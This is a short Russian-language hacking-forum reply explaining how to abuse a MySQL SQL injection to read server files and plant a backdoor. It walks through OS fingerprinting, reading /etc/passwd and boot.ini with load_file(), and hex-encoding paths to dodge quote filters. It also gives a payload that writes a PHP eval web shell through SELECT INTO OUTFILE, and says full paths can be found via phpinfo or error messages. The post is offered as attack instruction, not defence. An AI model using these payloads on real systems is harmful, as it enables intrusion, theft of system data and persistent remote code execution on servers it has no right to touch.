Сообщение от
NewBHack
А как посмотреть можно ли читать файло средствами БД.
1. Для начала определись что за Ось - через скулю это не сложно сделать: @@version_compile_os или version() (обычно если винда, то функция version() вернёт версию с постфиксом -nt, к примеру 4.1-nt).
2. Далее попробуй прочитать один из файлов который должен быть доступным для чтения любым пользователем:
load_file('/etc/passwd') для юникс систем
load_file('c:/boot.ini') для винды
Если кавычки нельзя использовать, то конвертируй имя файла в хексы.
Можно ещё посмотреть в таблице mysql.user, права на чтения/запись файлов хранятся в колонке file_priv, но часто бывает, что права на чтения/запись файлов у пользователя БД есть, а на просмотр таблицы mysql.user нет.
3. Если права на чтения файлов есть, то:
- если кавычки не фильтруется, то можно залить шелл через sql запрос:
select '<?php eval($_GET[ev]) ?>' into outfile '/полный путь/shell.php'
- если фильтруются, то только чтение файлов, тут опять нужен полный путь до файла.
Полный путь можно найти в пхпинфо или из какой либо ошибки.
Если прав на работу с файлами у пользователя БД нет, то тут надо уже искать другие уязвимости.